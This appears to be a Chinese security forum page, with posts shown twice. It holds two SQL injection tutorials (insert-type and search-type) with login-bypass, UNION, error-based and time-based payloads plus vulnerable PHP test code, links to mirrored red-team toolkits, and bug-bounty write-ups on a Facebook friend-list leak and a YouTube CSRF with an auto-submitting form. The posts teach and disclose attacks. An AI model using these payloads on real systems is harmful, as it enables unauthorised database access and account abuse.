Insert型SQL注入探究

wuyou 发表了文章 • 1 个评论 • 67 次浏览 • 2019-05-10 18:49 • 来自相关话题

我之前对SQL注入的了解只停留在测试select型的阶段上,虽然也知道增删改查理论上都可以进行SQL注入,但实际进行测试时发现其流程和测试select型时有些区别,我大致在网上找了找,没有找到想要的内容,也觉得只是看别人的实验过程并不能对自己有什么提升,所以就自己动手实际测试一遍,并总结出了一套测试insert型注入的流程
 
实验环境:
Mysql + PHP + Apache
简易留言板形式的Insert型注入点
 








 
实验过程:
首先,我使用测试select型注入的方法对注入点进行测试
测试过程:
001     [留言成功]002\    [留言失败]003#    [留言成功]004'    [留言失败]005"    [留言成功]006)    [留言成功]007')   [留言失败]008')#  [留言失败]


在select型注入中,当我们成功找对闭合条件并加入注释符时,应该会看到操作成功的回显,
但是在insert型中,即使找对了闭合条件,我们也无法做到成功留言
 
观察后端sql语句我们可以找到原因
$sql = "insert into message(content,ltime,uid) values('$content','$time','$uid')";
sql语句中有两个完整括号,当两个括号中的参数不匹配时,会无法成功执行sql语句
 
所以我们还要找到sql语句中的参数数量
测试过程:
009','')#      [留言失败]010','','')#    [留言成功]





 
下来我们就可以来考虑拼接sql语句了
 
报错注入payload:
011',''or extractvalue(1,concat(0x7e,database())) or'')#





 
直接拼接SQL语句:
011','',(select s_id from user where uid=25))#










 
这里有几点要注意:
1、要选择插入数据后可以回显到页面上的参数进行注入
2、有些参数限制必须为字符或数字或时间格式,所以要根据你查询出的内容的数据类型选择参数
 
如果实在找不到符合条件的参数,这时可以选择盲注
 
时间盲注payload:
011'and sleep(5),'','')#
011'and if((select version())>5,sleep(5),1),'','')#
 
注:这里and sleep(5)不能跟在最后一个引号后,否则无法执行睡眠!
 
 
 

 
 
  查看全部
我之前对SQL注入的了解只停留在测试select型的阶段上,虽然也知道增删改查理论上都可以进行SQL注入,但实际进行测试时发现其流程和测试select型时有些区别,我大致在网上找了找,没有找到想要的内容,也觉得只是看别人的实验过程并不能对自己有什么提升,所以就自己动手实际测试一遍,并总结出了一套测试insert型注入的流程
 
实验环境:
Mysql + PHP + Apache
简易留言板形式的Insert型注入点
 
3.png

1.png

 
实验过程:
首先,我使用测试select型注入的方法对注入点进行测试
测试过程:
  1. 001     [留言成功]
  2. 002\    [留言失败]
  3. 003#    [留言成功]
  4. 004'    [留言失败]
  5. 005"    [留言成功]
  6. 006)    [留言成功]
  7. 007')   [留言失败]
  8. 008')#  [留言失败]



在select型注入中,当我们成功找对闭合条件并加入注释符时,应该会看到操作成功的回显,
但是在insert型中,即使找对了闭合条件,我们也无法做到成功留言
 
观察后端sql语句我们可以找到原因
$sql = "insert into message(content,ltime,uid) values('$content','$time','$uid')";
sql语句中有两个完整括号,当两个括号中的参数不匹配时,会无法成功执行sql语句
 
所以我们还要找到sql语句中的参数数量
测试过程:
  1. 009','')#      [留言失败]
  2. 010','','')#    [留言成功]


4.png

 
下来我们就可以来考虑拼接sql语句了
 
报错注入payload:
011',''or extractvalue(1,concat(0x7e,database())) or'')#

5.png

 
直接拼接SQL语句:
011','',(select s_id from user where uid=25))#

6.png


7.png

 
这里有几点要注意:
1、要选择插入数据后可以回显到页面上的参数进行注入
2、有些参数限制必须为字符或数字或时间格式,所以要根据你查询出的内容的数据类型选择参数
 
如果实在找不到符合条件的参数,这时可以选择盲注
 
时间盲注payload:
011'and sleep(5),'','')#
011'and if((select version())>5,sleep(5),1),'','')#
 
注:这里and sleep(5)不能跟在最后一个引号后,否则无法执行睡眠!
 
 
 

 
 
 

github上一些安全工具的分享

sq_smile 发表了文章 • 1 个评论 • 72 次浏览 • 2019-05-07 11:26 • 来自相关话题

0X01 工具分享
K8系列工具集:https://gitee.com/sq_smile/K8tools
内网渗透系列:https://gitee.com/sq_smile/Intranet_Penetration_Tips
安全行业从业者自研扫描器:https://gitee.com/sq_smile/Scanners-Box
渗透与测试红队工具集:https://gitee.com/sq_smile/Shr3dKit    
需要说明一下的是,这些工具都是从github搬运过来的,并非原创,也未做任何修改。
 
0X02  从github搬运的原因
          使用github的都知道,它的服务器是外国的。虽然没有被墙,但是在上边下载的速度依然慢的感人。于是呢,我在网上遨游了很久终于找到了解决的方法,具体是什么,待我在下边娓娓道来。总之方法很简单了。
 
0X03  搬运方法
        1、 在登录自己的github账号以后,找到自己想要搬运的项目。
        2、 在想要搬运项目上边,找到“Fork”,然后点击一下它。这里我以K8的项目为例。




        3、 在开源中国的码云上边,导入github上你fork的项目。









然后在第一次导入的时候,它会跟你的github账号相关联,你需要登录一下。在登录以后,你就可以看到github上fork的项目,然后选择项目导入就可以了。如下图所示:




 
 
0X04    总结
        导入的过程还是很简单的,只要愿意动手都可以完成。希望以上内容可以帮助到大家!
 
 
  查看全部
0X01 工具分享
K8系列工具集:https://gitee.com/sq_smile/K8tools
内网渗透系列:https://gitee.com/sq_smile/Intranet_Penetration_Tips
安全行业从业者自研扫描器:https://gitee.com/sq_smile/Scanners-Box
渗透与测试红队工具集:https://gitee.com/sq_smile/Shr3dKit    

需要说明一下的是,这些工具都是从github搬运过来的,并非原创,也未做任何修改。
 
0X02  从github搬运的原因
          使用github的都知道,它的服务器是外国的。虽然没有被墙,但是在上边下载的速度依然慢的感人。于是呢,我在网上遨游了很久终于找到了解决的方法,具体是什么,待我在下边娓娓道来。总之方法很简单了。
 
0X03  搬运方法
        1、 在登录自己的github账号以后,找到自己想要搬运的项目。
        2、 在想要搬运项目上边,找到“Fork”,然后点击一下它。这里我以K8的项目为例。
Fork.png

        3、 在开源中国的码云上边,导入github上你fork的项目。
1.png


2.png

然后在第一次导入的时候,它会跟你的github账号相关联,你需要登录一下。在登录以后,你就可以看到github上fork的项目,然后选择项目导入就可以了。如下图所示:
3.png

 
 
0X04    总结
        导入的过程还是很简单的,只要愿意动手都可以完成。希望以上内容可以帮助到大家!
 
 
 

【转】SQL注入--搜索型

main 发表了文章 • 0 个评论 • 98 次浏览 • 2019-05-05 16:25 • 来自相关话题

一、搜索型注入简介与原理

1)简介
一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在:


其中又分为POST/GET,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的method="get"属性来区分是get还是post。搜索型注入又称为文本框注入。


2)原理$sql="select * from user where password like '%$pwd%' order by password"; 
这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢?'and 1=1 and '%'='
这样的话这句SQL语句就变成了这样:select * from user where password like '%fendo'and 1=1 and '%'='%' order by password存在SQL注入。

二、搜索型注入判断
 判断搜索型注入的方法:1 搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;

2 搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;

3 搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况

4 搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况

5 根据两次的返回情况来判断是不是搜索型文本框注入了

下面这几种语句都可以:'and 1=1 and '%'='

%' and 1=1--'

%' and 1=1 and '%'='
 
 三、搜索型注入实战


1)GET型注入
 
测试源码: <?
$pwd=$_GET['pwd'];
$conn=mysql_connect("127.0.0.1","root","123");//连接mysql数据库
if($conn){
echo "连接数据库成功!";
}//判断连接是否成功
echo "<br>";
mysql_select_db('fendo',$conn);//选择连接请求为conn的数据库(fendo)
$sql="select * from user where password like '%$pwd%' order by password"; //字符型搜索语句
$result=mysql_query($sql);
while($row = mysql_fetch_array($result)){
echo "用户ID:".$row['id']."<br >";
echo "用户名:".$row['username']."<br >";
echo "用户密码:".$row['password']."<br >";
echo "用户邮箱:".$row['email']."<br >";
}
mysql_close($conn); //关闭数据库连接
echo "<hr>";
echo "你当前执行的sql语句为:"."<br >";
echo $sql;
?>
 
1.判断字段数

语句:%' union select 1,2,3,4,...... and '%'='





还有种方法
语句: %' and exists (select id from user where LENGTH(username)<6 and id=1) and '%'='
把6这个数字逐次更换,直到他不报错为止。如下当它小于6时正确,说明字段数为5。
 






2.判断表名

语句:%'and(select count(*)from admin)>0 and '%'='





把admin这个表名逐次更换,直到他不报错为止,就说明这个表存在。


3.猜解密码

由于这里用的就是密码,所以这里换成猜解用户名
 
 
2)POST型注入

测试源码:<?

//--------------------------post处理--------------------------------//

$name=addslashes($_POST['n']);

$pass=addslashes($_POST['p']);

$conn = mysql_connect('127.0.0.1','root','123');

if($conn){

echo "mysql连接成功";

echo "<hr>";

}

mysql_select_db('fendo',$conn);

$sql="select * from user where username='$name' and password='$pass'";

$result=mysql_query($sql);

mysql_close($conn);

while($row = mysql_fetch_array($result)){

echo "用户ID:".$row['id']."<br >";

echo "用户名:".$row['username']."<br >";

echo "用户密码:".$row['password']."<br >";

}

echo "当前执行的sql语句:".$sql;

?>



<form action="" method="POST">

账号:<input name="n" type="text" /><br><br>

密码:<input name="p" type="text" /><br><br>

<input name="" type="submit" value="提交" />



</form>






1.判断是否存在SQL注入

用PHP万能密码进行测试' or 1=1#







在用户名里输入万能密码如果没报错,就说明存在SQL注入。
 
 
2.猜字段数' order by 4#





逐次更改数字去猜,直到不报错为止。
 
 
3.猜表名'or 1=1 union select 1,2,3,4 #





逐次累加数字,直到不报错为止。
 
 
4.猜内容
 
替换1,2,3为你想要获得的内容




'or 1=1 union select username,password,3,4 from user#
 
 
 
转自:https://blog.csdn.net/u011781521/article/details/57083482 查看全部
一、搜索型注入简介与原理

1)简介
一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在:


其中又分为POST/GET,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的method="get"属性来区分是get还是post。搜索型注入又称为文本框注入。


2)原理
$sql="select * from user where password like '%$pwd%' order by password";
 
这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢?
'and 1=1 and '%'='

这样的话这句SQL语句就变成了这样:
select * from user where password like '%fendo'and 1=1 and '%'='%' order by password
存在SQL注入。

二、搜索型注入判断
 判断搜索型注入的方法:
1 搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;

2 搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;

3 搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况

4 搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况

5 根据两次的返回情况来判断是不是搜索型文本框注入了


下面这几种语句都可以:
'and 1=1 and '%'='

%' and 1=1--'

%' and 1=1 and '%'='

 
 三、搜索型注入实战


1)GET型注入
 
测试源码:
    <?
$pwd=$_GET['pwd'];
$conn=mysql_connect("127.0.0.1","root","123");//连接mysql数据库
if($conn){
echo "连接数据库成功!";
}//判断连接是否成功
echo "<br>";
mysql_select_db('fendo',$conn);//选择连接请求为conn的数据库(fendo)
$sql="select * from user where password like '%$pwd%' order by password"; //字符型搜索语句
$result=mysql_query($sql);
while($row = mysql_fetch_array($result)){
echo "用户ID:".$row['id']."<br >";
echo "用户名:".$row['username']."<br >";
echo "用户密码:".$row['password']."<br >";
echo "用户邮箱:".$row['email']."<br >";
}
mysql_close($conn); //关闭数据库连接
echo "<hr>";
echo "你当前执行的sql语句为:"."<br >";
echo $sql;
?>

 
1.判断字段数

语句:
%' union select 1,2,3,4,...... and '%'='

1.jpg


还有种方法
语句:
  %' and exists (select id from user where LENGTH(username)<6 and id=1) and '%'='

把6这个数字逐次更换,直到他不报错为止。如下当它小于6时正确,说明字段数为5。
 
2.jpg



2.判断表名

语句:
%'and(select count(*)from admin)>0 and '%'='

3.jpg


把admin这个表名逐次更换,直到他不报错为止,就说明这个表存在。


3.猜解密码

由于这里用的就是密码,所以这里换成猜解用户名
 
 
2)POST型注入

测试源码:
<?  

//--------------------------post处理--------------------------------//

$name=addslashes($_POST['n']);

$pass=addslashes($_POST['p']);

$conn = mysql_connect('127.0.0.1','root','123');

if($conn){

echo "mysql连接成功";

echo "<hr>";

}

mysql_select_db('fendo',$conn);

$sql="select * from user where username='$name' and password='$pass'";

$result=mysql_query($sql);

mysql_close($conn);

while($row = mysql_fetch_array($result)){

echo "用户ID:".$row['id']."<br >";

echo "用户名:".$row['username']."<br >";

echo "用户密码:".$row['password']."<br >";

}

echo "当前执行的sql语句:".$sql;

?>



<form action="" method="POST">

账号:<input name="n" type="text" /><br><br>

密码:<input name="p" type="text" /><br><br>

<input name="" type="submit" value="提交" />



</form>

4.jpg



1.判断是否存在SQL注入

用PHP万能密码进行测试
' or 1=1#  

5.jpg




在用户名里输入万能密码如果没报错,就说明存在SQL注入。
 
 
2.猜字段数
' order by 4#  

6.jpg


逐次更改数字去猜,直到不报错为止。
 
 
3.猜表名
'or 1=1 union select 1,2,3,4 #  

7.jpg


逐次累加数字,直到不报错为止。
 
 
4.猜内容
 
替换1,2,3为你想要获得的内容

8.jpg
'or 1=1 union select username,password,3,4 from user#   

 
 
 
转自:https://blog.csdn.net/u011781521/article/details/57083482

【转】挖洞经验丨看我如何获取Facebook用户的隐私好友列表

willeson 发表了文章 • 0 个评论 • 37 次浏览 • 2019-04-29 12:33 • 来自相关话题

当拥有个人信息的组织机构发生数据失窃或遭受未授权访问行为时,就可能发生用户信息泄露事件。通常来说,这是种安全事件会导致一些敏感受保护的机密数据被广泛流传、分析或恶意利用。本文分享的漏洞writeup,只需知道Facebook用户的注册邮箱或者手机号码,就能间接获取该用户相关的隐私好友列表,进而推断出用户的一个大致的社交关系图谱。漏洞最终获得了Facebook官方$10,000美金的奖励。
按照Facebook帮助页面的说明来看,“你可能认识的人”(People You May Know)这项功能可以帮助Facebook用户找到更多相识的朋友,该功能建立起你和对方之间的关系是基于以下因素来进行判断的:

1.你们之间有共同朋友或存在相互朋友关系,这也是建立这种可能认识关系的最根本原因;
2.你们在同一个Facebook群组中,或是在同一张照片中被标记过;
3.另外就是你们通过同一个网络出口(学校、单位)登录过Facebook账户。

Facebook好友列表的隐私设置
默认来说,Facebook用户的好友列表是公开的,当然,Facebook也给这个好友列表设置了三种不同的隐私选项:公开、朋友可见和仅自己可见等自定义设置),具体参考Facebook帮助页面说明。漏洞发现
这里作者发现的漏洞是这样的:首先,在用户注册阶段,恶意攻击者可以通过先输入目标受害者的手机号码作为注册确认的手机号码,如下:
之后,Facebook会向这个手机号码发送一个短信验证码,而且要求在确认界面输入这个验证码,如下:
当然了,恶意攻击者肯定是不知道目标受害者的短信内容了,更别提这个短信验证码了。所以,在这里攻击者可以点击界面中出现的“更新联系方式”(Update Contact info)按钮,在跳出的新手机号码或新邮箱地址添加栏中,填写攻击者自己的邮箱地址hack@rajsek.com,如下:
接下来,攻击者自己的邮箱hack@rajsek.com中会收到一封Facebook发来的验证码邮件,在之前的确认界面中填写这个验证码,选择“继续”(Continue)。然后,Facebook会提示该账户与hack@rajsek.com是绑定关系,且需攻击者以邮箱hack@rajsek.com作为登录凭据完成登录:
现在,我们转到以下链接去:

https://www.facebook.com/friends/requests/?fcref=swpsa

这个链接是“你可能认识的人”URL,或者直接用curl对以下链接请求进行抓包:
 [code]curl ‘https://www.facebook.com/gettingstarted/?step=friend_requests' -H ‘authority: www.facebook.com' -H ‘referer: https://www.facebook.com/gettingstarted/' -H ‘cookie: xxxx’ — compressed[/code]
 
这里,Facebook向恶意攻击者推送的“你可能认识的人”相关列表,正是目标受害者的好友列表,如下:

整个过程可在以下PoC视频中观看,视频中作者用目标受害者邮箱为注册人信息,用自己的手机号码作为联系更新信息,最终,这种方式也能同样获得目标受害者好友列表:
 漏洞总结
该漏洞可以被一些恶意用户或攻击者利用,间接判断出目标受害者的社交关系图谱。前提在于,只需要知道目标受害者的注册Facebook时使用的邮箱地址或者手机号码,可以通过社工方式或是前述提到的好友关系建立依据来获得。漏洞上报进程
2018.10.16  向Facebook进行漏洞初报;
2019.3.20   Facebook奖励我 $10,000 USD; 查看全部

当拥有个人信息的组织机构发生数据失窃或遭受未授权访问行为时,就可能发生用户信息泄露事件。通常来说,这是种安全事件会导致一些敏感受保护的机密数据被广泛流传、分析或恶意利用。本文分享的漏洞writeup,只需知道Facebook用户的注册邮箱或者手机号码,就能间接获取该用户相关的隐私好友列表,进而推断出用户的一个大致的社交关系图谱。漏洞最终获得了Facebook官方$10,000美金的奖励。
按照Facebook帮助页面的说明来看,“你可能认识的人”(People You May Know)这项功能可以帮助Facebook用户找到更多相识的朋友,该功能建立起你和对方之间的关系是基于以下因素来进行判断的:


1.你们之间有共同朋友或存在相互朋友关系,这也是建立这种可能认识关系的最根本原因;
2.你们在同一个Facebook群组中,或是在同一张照片中被标记过;
3.另外就是你们通过同一个网络出口(学校、单位)登录过Facebook账户。


Facebook好友列表的隐私设置
默认来说,Facebook用户的好友列表是公开的,当然,Facebook也给这个好友列表设置了三种不同的隐私选项:公开、朋友可见和仅自己可见等自定义设置),具体参考Facebook帮助页面说明。漏洞发现
这里作者发现的漏洞是这样的:首先,在用户注册阶段,恶意攻击者可以通过先输入目标受害者的手机号码作为注册确认的手机号码,如下:
之后,Facebook会向这个手机号码发送一个短信验证码,而且要求在确认界面输入这个验证码,如下:
当然了,恶意攻击者肯定是不知道目标受害者的短信内容了,更别提这个短信验证码了。所以,在这里攻击者可以点击界面中出现的“更新联系方式”(Update Contact info)按钮,在跳出的新手机号码或新邮箱地址添加栏中,填写攻击者自己的邮箱地址hack@rajsek.com,如下:
接下来,攻击者自己的邮箱hack@rajsek.com中会收到一封Facebook发来的验证码邮件,在之前的确认界面中填写这个验证码,选择“继续”(Continue)。然后,Facebook会提示该账户与hack@rajsek.com是绑定关系,且需攻击者以邮箱hack@rajsek.com作为登录凭据完成登录:
现在,我们转到以下链接去:


https://www.facebook.com/friends/requests/?fcref=swpsa


这个链接是“你可能认识的人”URL,或者直接用curl对以下链接请求进行抓包:
 
[code]curl ‘https://www.facebook.com/gettingstarted/?step=friend_requests' -H ‘authority: www.facebook.com' -H ‘referer: https://www.facebook.com/gettingstarted/' -H ‘cookie: xxxx’ — compressed
[/code]
 
这里,Facebook向恶意攻击者推送的“你可能认识的人”相关列表,正是目标受害者的好友列表,如下:

整个过程可在以下PoC视频中观看,视频中作者用目标受害者邮箱为注册人信息,用自己的手机号码作为联系更新信息,最终,这种方式也能同样获得目标受害者好友列表:
 漏洞总结
该漏洞可以被一些恶意用户或攻击者利用,间接判断出目标受害者的社交关系图谱。前提在于,只需要知道目标受害者的注册Facebook时使用的邮箱地址或者手机号码,可以通过社工方式或是前述提到的好友关系建立依据来获得。漏洞上报进程
2018.10.16  向Facebook进行漏洞初报;
2019.3.20   Facebook奖励我 $10,000 USD;

[转]CSRF漏洞劫持Youtube用户的通知消息

你可以叫我风平 发表了文章 • 0 个评论 • 53 次浏览 • 2019-04-28 22:33 • 来自相关话题

 
 
[size=15]


[/size]
         大家好,今天分享的writeup是关于YouTube通知服务(Notification)的CSRF漏洞,作者利用该漏洞可以劫持其他YouTube用户(受害者)的通知服务,能以受害者用户身份接收到其订阅频道或视频的最新通知,漏洞最终获得Google官方$3133.7美金的奖励,以下是作者的分享
 
      从POST请求中发现端倪
        某天晚上,我在YouTube官网上测试漏洞,看看能有什么发现,不知不觉时间已经是半夜00:30了,困累之极…..。我就随便点点打开了YouTube的通知服务(Notification),其中的POST请求引起了我的注意:POST /notifications_ajax?action_register_device=1 HTTP/1.1
Host: www.youtube.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.youtube.com/sw.js
Content-Type: multipart/form-data; boundary=---------------------------41184676334
Origin: https://www.youtube.com
Content-Length: 1459
Connection: close
Cookie: duh, cookies!
-----------------------------41184676334
Content-Disposition: form-data; name="endpoint"

https://updates.push.services.mozilla.com/wpush/v1/gAAA...

-----------------------------41184676334
Content-Disposition: form-data; name="device_id"
dbe8453d99714c6160994fdf5bb3c59332df04278a...
-----------------------------41184676334
Content-Disposition: form-data; name="p256dh_key"
BBNVkVOt6tpY1KvJJqtLvqt...
-----------------------------41184676334
Content-Disposition: form-data; name="auth_key"
V5-_lh6nYT2zoY...
-----------------------------41184676334
Content-Disposition: form-data; name="permission"
granted
-----------------------------41184676334--        乍一看,为了防止CSRF,其中的auth_key、p256dh_key、endpoint、device_id等参数貌似都是经过编码的字符串,但仔细一分析才知道,这些所有的参数都是由其中updates.push.services.mozilla.com的Mozilla通知推送服务产生的,所以,这样初略来看,该接口上不存在CSRF漏洞。
 
       分析Service Worker 服务工作线程​
 
        深入分析可知,上述POST请求中的referrer字段值为“https://www.youtube.com/sw.js”,这个sw.js明显为一个服务工作线程脚本(Service Worker)。
        Service Worker 是独立于当前页面的一段运行在浏览器后台进程里的脚本。Service Worker不需要用户打开 web 页面,也不需要其他交互,异步地运行在一个完全独立的上下文环境,不会对主线程造成阻塞。基于Service Worker可以实现消息推送、离线缓存和后台同步API等功能,本质上来说,Service Worker充当了Web应用程序与浏览器之间的代理。
        也就是说,referrer字段中的sw.js发起了这个POST请求,以至于这个请求和其它具备CSRF防御机制的YouTube请求内容存在不同。
        
       构造CSRF攻击框架​
 
        到了这一步,从这些参数里,我隐约觉得这里应该会有漏洞出现,但总要构造个PoC出来试试看。因此,通过研究以上参数的生成机制,我利用sw.js原理,编写了以下三个代码文件,构建了一个本地服务端来生成其中的各个参数。
        index.html:<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Push Demo</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" media="screen" href="index.css" />
<script src="index.js"></script>
</head>
<body>
<h1>Hello World</h1>
<button id="permission-btn" onclick="main()">Ask Permission</button>
</body>
</html>

index.js:


const check = () => {
if (!('serviceWorker' in navigator)) {
throw new Error('No Service Worker support!')
}
if (!('PushManager' in window)) {
throw new Error('No Push API Support!')
}
}
const registerServiceWorker = async () => {
const swRegistration = await navigator.serviceWorker.register('sw.js')
return swRegistration
}
const requestNotificationPermission = async () => {
const permission = await window.Notification.requestPermission()
if (permission !== 'granted') {
throw new Error('Permission not granted for Notification')
}
}
const main = async () => {
check()
const swRegistration = await registerServiceWorker()
const permission = await requestNotificationPermission()
}
sw.js:

self.addEventListener('activate', async () => { console.log("Hello");
self.registration.pushManager.subscribe()
.then(function(subscription) {
console.log(JSON.stringify(subscription));
})
.catch(function(e) {
console.log(e);
});
})
self.addEventListener("push", function(event) {
if (event.data) {
console.log("Push event!! ", event.data.text());
showLocalNotification("Yolo", event.data.text(), self.registration);
} else {
console.log("Push event but no data");
}
});
const showLocalNotification = (title, body, swRegistration) => {
const options = {
body
// here you can add more properties like icon, image, vibrate, etc.
};
swRegistration.showNotification(title, options);
};        这三个代码文件的目的在于获取sw.js请求时生成的各个参数,有了这些参数,就可以间接形成通知(Notification),打开其中的index.html页面,点击Ask Permission按钮请求通知权限,后台调用sw.js脚本,通过内置的Firefox API形成一个本地的通知服务端,通知请求提交时,我们就能获取到其中的各个参数。利用这些参数,可以进一步构造出CSRF攻击框架,就能获取到对应的通知消息。
        在本地loclalhost构造这种通知请求服务端,需要用到Service Worker 服务工作线程(sw.js)的部署原理,其中涉及服务注册、激活、缓存控制和相关响应机制,具体可参考:developer.mozilla.org和developers.google.com中的详细介绍说明。





 
        综合上述分析,基于我们之前创建的本地通知服务端,结合Youtube的通知请求提交方式,我构造了以下CSRF攻击框架:<form action="https://www.youtube.com/notifications_ajax?action_register_device=1" method="post" enctype="multipart/form-data" name="csrf">
<input type="text" name="device_id" value="replace">
<input type="text" name="permission" value="granted">
<input type="text" name="endpoint" value="replace">
<input type="text" name="p256dh_key" value="replace=">
<input type="text" name="auth_key" value="replace">
<input type="submit">
<script type="text/javascript">document.csrf.submit();</script>
</form>        让我意想不到的是,我在其中以其他Youtube账号身份,利用获取到的各种请求参数,提交了通知请求,竟然能有效实施通知消息的CSRF攻击。也就是说,我们现在可以劫持到其他Youtube账号的消息推送接口(PUSH webhook),以其他Youtube账号身份收取到Youtube响应该账号的相关通知,这些通知可能是他订阅的某个频道或视频的更新消息,也可能是他私人视频的观众评论等,如下:





 
  查看全部
 
 
[size=15]
1.jpg
[/size]
         大家好,今天分享的writeup是关于YouTube通知服务(Notification)的CSRF漏洞,作者利用该漏洞可以劫持其他YouTube用户(受害者)的通知服务,能以受害者用户身份接收到其订阅频道或视频的最新通知,漏洞最终获得Google官方$3133.7美金的奖励,以下是作者的分享
 
      从POST请求中发现端倪
        某天晚上,我在YouTube官网上测试漏洞,看看能有什么发现,不知不觉时间已经是半夜00:30了,困累之极…..。我就随便点点打开了YouTube的通知服务(Notification),其中的POST请求引起了我的注意:
POST /notifications_ajax?action_register_device=1 HTTP/1.1
Host: www.youtube.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.youtube.com/sw.js
Content-Type: multipart/form-data; boundary=---------------------------41184676334
Origin: https://www.youtube.com
Content-Length: 1459
Connection: close
Cookie: duh, cookies!
-----------------------------41184676334
Content-Disposition: form-data; name="endpoint"

https://updates.push.services.mozilla.com/wpush/v1/gAAA...

-----------------------------41184676334
Content-Disposition: form-data; name="device_id"
dbe8453d99714c6160994fdf5bb3c59332df04278a...
-----------------------------41184676334
Content-Disposition: form-data; name="p256dh_key"
BBNVkVOt6tpY1KvJJqtLvqt...
-----------------------------41184676334
Content-Disposition: form-data; name="auth_key"
V5-_lh6nYT2zoY...
-----------------------------41184676334
Content-Disposition: form-data; name="permission"
granted
-----------------------------41184676334--
        乍一看,为了防止CSRF,其中的auth_key、p256dh_key、endpoint、device_id等参数貌似都是经过编码的字符串,但仔细一分析才知道,这些所有的参数都是由其中updates.push.services.mozilla.com的Mozilla通知推送服务产生的,所以,这样初略来看,该接口上不存在CSRF漏洞。
 
       分析Service Worker 服务工作线程​
 
        深入分析可知,上述POST请求中的referrer字段值为“https://www.youtube.com/sw.js”,这个sw.js明显为一个服务工作线程脚本(Service Worker)。
        Service Worker 是独立于当前页面的一段运行在浏览器后台进程里的脚本。Service Worker不需要用户打开 web 页面,也不需要其他交互,异步地运行在一个完全独立的上下文环境,不会对主线程造成阻塞。基于Service Worker可以实现消息推送、离线缓存和后台同步API等功能,本质上来说,Service Worker充当了Web应用程序与浏览器之间的代理。
        也就是说,referrer字段中的sw.js发起了这个POST请求,以至于这个请求和其它具备CSRF防御机制的YouTube请求内容存在不同。
        
       构造CSRF攻击框架​
 
        到了这一步,从这些参数里,我隐约觉得这里应该会有漏洞出现,但总要构造个PoC出来试试看。因此,通过研究以上参数的生成机制,我利用sw.js原理,编写了以下三个代码文件,构建了一个本地服务端来生成其中的各个参数。
        index.html:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Push Demo</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" media="screen" href="index.css" />
<script src="index.js"></script>
</head>
<body>
<h1>Hello World</h1>
<button id="permission-btn" onclick="main()">Ask Permission</button>
</body>
</html>

index.js:


const check = () => {
if (!('serviceWorker' in navigator)) {
throw new Error('No Service Worker support!')
}
if (!('PushManager' in window)) {
throw new Error('No Push API Support!')
}
}
const registerServiceWorker = async () => {
const swRegistration = await navigator.serviceWorker.register('sw.js')
return swRegistration
}
const requestNotificationPermission = async () => {
const permission = await window.Notification.requestPermission()
if (permission !== 'granted') {
throw new Error('Permission not granted for Notification')
}
}
const main = async () => {
check()
const swRegistration = await registerServiceWorker()
const permission = await requestNotificationPermission()
}
sw.js:

self.addEventListener('activate', async () => { console.log("Hello");
self.registration.pushManager.subscribe()
.then(function(subscription) {
console.log(JSON.stringify(subscription));
})
.catch(function(e) {
console.log(e);
});
})
self.addEventListener("push", function(event) {
if (event.data) {
console.log("Push event!! ", event.data.text());
showLocalNotification("Yolo", event.data.text(), self.registration);
} else {
console.log("Push event but no data");
}
});
const showLocalNotification = (title, body, swRegistration) => {
const options = {
body
// here you can add more properties like icon, image, vibrate, etc.
};
swRegistration.showNotification(title, options);
};
        这三个代码文件的目的在于获取sw.js请求时生成的各个参数,有了这些参数,就可以间接形成通知(Notification),打开其中的index.html页面,点击Ask Permission按钮请求通知权限,后台调用sw.js脚本,通过内置的Firefox API形成一个本地的通知服务端,通知请求提交时,我们就能获取到其中的各个参数。利用这些参数,可以进一步构造出CSRF攻击框架,就能获取到对应的通知消息。
        在本地loclalhost构造这种通知请求服务端,需要用到Service Worker 服务工作线程(sw.js)的部署原理,其中涉及服务注册、激活、缓存控制和相关响应机制,具体可参考:developer.mozilla.orgdevelopers.google.com中的详细介绍说明。

2.png

 
        综合上述分析,基于我们之前创建的本地通知服务端,结合Youtube的通知请求提交方式,我构造了以下CSRF攻击框架:
<form action="https://www.youtube.com/notifications_ajax?action_register_device=1" method="post" enctype="multipart/form-data" name="csrf">
<input type="text" name="device_id" value="replace">
<input type="text" name="permission" value="granted">
<input type="text" name="endpoint" value="replace">
<input type="text" name="p256dh_key" value="replace=">
<input type="text" name="auth_key" value="replace">
<input type="submit">
<script type="text/javascript">document.csrf.submit();</script>
</form>
